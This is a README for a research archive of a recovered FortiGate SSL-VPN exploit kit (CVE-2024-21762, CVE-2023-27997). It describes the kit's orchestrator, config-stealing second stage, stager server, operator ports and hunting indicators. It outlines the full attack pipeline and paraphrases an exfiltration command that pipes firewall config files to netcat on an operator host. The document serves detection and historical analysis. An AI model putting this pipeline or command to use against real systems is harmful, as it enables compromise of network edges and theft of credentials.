The FortiGate SSL-VPN pot of gold. CVE-2024-21762 and CVE-2023-27997. 79 working exploit clients. 53 hardware SKUs. 55 FortiOS builds.
Research archive. Recovered as found. I did not write these files.
Released: 1 September 2026
This repository is the orchestrator, second-stage payloads, and operator listeners that sit on top of a per-SKU FortiGate SSL-VPN exploit catalog. The long-form story, counts, and hunting notes live in the series The SSL-VPN pot of gold on Abraxas Labs.
Do not run this material against any host unless you have explicit written permission from both the party hosting this repository and the owner of the target systems. The related CVEs were public and patched before this release. This tree is for research, detection, and historical analysis.
I found a private FortiGate SSL-VPN kit in the wild. The first drop was a directory of working clients: names like exp/exp_60E-v6.4.7.py and . Each file is a memory-corruption client. Two public n-days, restamped across hardware and firmware until the folder looked like a parts catalog.
The gold is the offset matrix, not a new bug. That argument is in Phase 0 of the series. Phase 1 covers the two primitives as behavior. Phase 2 is the searchable SKU / train / CPU map. Phase 3 is hunting.
This repository is the rest of the same kit, not a second exploit family.
exp/ programs are the per-image clients already described in the series.shellcode/ files are the launcher, implant fetch, and config-steal listeners those clients were written to call.exp_*.py files never contained the implant. They only knew to (1) pull raw bytes from a “shellcode server” or (2) GET /s.js and eval it. Those missing pieces are here.The primitives:
| Family | CVE | Fortinet advisory | Public colour |
|---|---|---|---|
| A | CVE-2024-21762 | FG-IR-24-015 | Assetnote — Two Bytes is Plenty |
| B | CVE-2023-27997 | FG-IR-23-097 | Lexfo — XORtigate, Bishop Fox |
Both sit in CISA’s Known Exploited Vulnerabilities catalog. poc.py does not implement either CVE. It selects and wraps the two families already classified (chunked-write 21762; enc= heap overflow 27997).
.
├── poc.py # pocsuite3 launcher / fingerprint / process manager
├── s.js # Node second stage (config stealer)
├── send_cmd.py # callback handler for the stager path
├── init.sh # operator workstation package install
├── requirements.txt # pwntools
├── exp/
│ └── exp_<SKU>-v<FortiOS>.py
└── shellcode/
├── shellcode_server.py # length-prefixed blob pump
├── shellcode_arm # ~2.0 MB raw second stage
└── shellcode_amd64 # ~2.7 MB raw second stage
exp/index.html and shellcode/index.html are ordinary Python http.server directory listings. They only show that this tree was hosted as a web root at some point.
This copy of exp/ is the earlier catalog plus four extra clients: exp_30E-v6.2.4.py, exp_30E-v6.2.12.py, exp_30E-v6.2.14.py, exp_40F-v7.0.5.py.
poc.py orchestrator (pocsuite3)
│
├─ fingerprint portal ─────── VERSION_LIBS (hash → SKU + FortiOS)
├─ pick file ──────────────── exp/exp_<SKU>-v<ver>.py
│
├─ if client is "stager" kind (Family A ARM / some amd64)
│ start shellcode/shellcode_server.py
│ reads shellcode/shellcode_arm or shellcode_amd64
│ start send_cmd.py (wait for callback)
│ start config receiver on :9999
│ run chosen exp_*.py
│
└─ if client is "Node /s.js" kind (most Family B + many Family A)
serve s.js over HTTP
start config receiver on :9999
run chosen exp_*.py
→ firewall GET /s.js → eval → exfil
Pipeline in one line: identify → pick offset file → corrupt sslvpnd → pull implant → exfil /data/config/*.gz → archive on the operator side.
That last step is the point. A hit is unauthenticated code execution in sslvpnd on the firewall itself — TLS terminator, routing policy, VPN sessions, often LDAP/RADIUS bindings. FortiOS does not offer a useful /bin/sh. Public research and this kit both go through an internal command helper and/or /bin/node, which FortiOS actually ships. Treat a confirmed hit as compromise of the network edge, not a crashed daemon. See What a hit means.
poc.py — launcherOperator front end (pocsuite3 POCBase). It does not implement CVE-2024-21762 or CVE-2023-27997.
https://<target>/remote/login?lang=en (fallback GB2312)./sslvpn/js/login.js?q=<md5>.VERSION_LIBS (182 hash,SKU,version rows). That table is why the kit can choose among 50+ appliances without the operator naming the SKU. Same SKUs as the matrix, driven by a public SSL-VPN resource hash rather than SNMP or a management API.exp/exp_<SKU>-v<version>.py.s.js → kind 2 (Node loader)Shellcode Server → kind 1 (stager); then looks for arm vs amd64 in the scriptPopens the exp_*.py with host/port/callback arguments.Default operator address in this copy: HOST_IP from the environment, else ATTACKER_HOST. Literal IPv4 addresses in this tree have been replaced with role labels (ports unchanged):
| Label | Role | Where it appeared |
|---|---|---|
TARGET_HOST | FortiGate under attack | Never hardcoded; rhost / target from argv (see poc.py) |
ATTACKER_HOST | Operator workstation | Default HOST_IP in poc.py; bind addresses in poc.py, send_cmd.py, shellcode/shellcode_server.py; exp_*.py s.js / TFTP placeholders that get filled with lhost |
C2_HOST | Baked callback in this copy of the implant | s.js — not the lhost passed into the exploit |
| Port | Role |
|---|---|
| 7777 | Callback / send_cmd.py |
| 8888 | Shellcode server |
| 9999 | Config receiver (matches s.js and send_cmd.py exfil) |
If the portal hash is missing from VERSION_LIBS, it stops with “unknown target hash.” If the hash matches but the exp/ file is absent, “no exp.”
s.js — the missing Node second stageThis is the file the Family B / Node Family A clients fetch after execute_cmd. It is not a general reverse shell.
C2_HOST:9999 (C2 host, not TARGET_HOST and not the lhost / ATTACKER_HOST passed into the exploit — this copy was baked for one operator callback)./data/config/ on the firewall.*.gz files (FortiOS compressed config objects).That is a configuration stealer. It explains why poc.py also listens on 9999 and reassembles files into a base64 result. Hunt C2_HOST on port 9999 from any FortiGate egress. Hunting notes: Phase 3.
send_cmd.py — callback handler for the stager pathUsed when the chosen exp_*.py is the ARM/amd64 shellcode kind (usage includes a shellcode server).
cd /data/config and cat every *.gz to nc <LHOST> 9999.s.js (steal config), different transport (shell callback vs Node).A commented-out variant used base64 framing instead of raw cat.
shellcode/shellcode_server.py — byte pump for Family A stagersMatches the protocol already visible in the ARM32 exp_*.py stubs:
poc.py uses 8888).shellcode_<arch> from the same directory.exp_*.py stagers connect here, map writable-executable memory, pull the blob, then connect back to lhost:lport (7777 → send_cmd.py).
Raw second-stage blobs (~2.0 MB ARM, ~2.7 MB amd64). They are what the stager downloads. They are not the tiny Thumb stub inside the Python files; those stubs only fetch these files. Treat them as the implant for the non-Node path. Size suggests packed or static payloads, not a few dozen instructions.
init.sh — operator workstation setupNot used against the firewall. Installs build-essential, binutils-arm-linux-gnueabihf, and gcc-aarch64-linux-gnu. That is for building ARM/AArch64 pieces on a Debian-like attack box. Consistent with an author who compiles stagers rather than only shipping Python.
Single line: pwntools. The exp_*.py files and shellcode_server.py import it. poc.py also wants pocsuite3, python-dotenv, mmh3, and requests.
exp/ clients| Already described in the series | Role in this tree |
|---|---|
Family A ARM exp_*.py (stager args) | First stage. Calls shellcode_server.py + shellcode_arm (or amd64), then lhost:7777. |
Family A/B Node exp_*.py (/s.js) | First stage. HTTP GET of parent s.js, then eval. |
6.0 D-series TFTP / /tmp/s variants | Same s.js goal via TFTP; still expects this file on the operator HTTP root. |
Nothing in the parent directory implements a third CVE. Counts, SKU heatmap, and train alignment (Family A through 7.4.0 / 7.4.1; Family B inside the 27997 window) are in Phase 0 and Phase 2. Heaviest retargeting in the original catalog: FortiGate-60E, 100E, 60F, 100F — branch-office hardware.
The first drop stopped at “get a callback.” Second-stage bodies were missing. This tree makes the objective explicit:
/data/config/*.gz, not “generic RCE.” That is credential and topology compromise (VPN users, routes, secrets stored in those objects).VERSION_LIBS in poc.py is a ready-made “which SKU did they think this hash was” list.Portal recon and first-stage URIs are documented in Hunting the kit. Distinctive ones already called out in public write-ups and in this tree:
GET /remote/login and /sslvpn/js/login.js?q=/aaaa/bbbb, /remote/error, /remote/info, /remote/hostcheck_validate with enc=GET /s.js from the firewallC2_HOST:9999 inside this copy of s.js (C2 host)ATTACKER_HOST ports 7777 / 8888 / 9999 (attacker host)TARGET_HOST is rhost supplied at run timeHunt egress from the firewall (TARGET_HOST) to C2_HOST:9999 and to any ATTACKER_HOST that served /s.js during the relevant window.
From the introduction:
A public PoC against a VM is a different artifact. This pack is for whoever answered recon.
If you run FortiGates: inventory model, exact FortiOS, SSL-VPN on or off, whether the portal was reachable from untrusted networks. Then read Phase 2. Do not inventory only 60-series branch boxes because those filenames were the loudest.
These files were recovered in the wild during independent security research. I did not create them. They are released as found, after the related CVEs were publicly disclosed and patched.
Research / educational use only. Do not run, deploy, or use this material against any host unless you have explicit written permission from both the party hosting this repository and the owner of the target systems.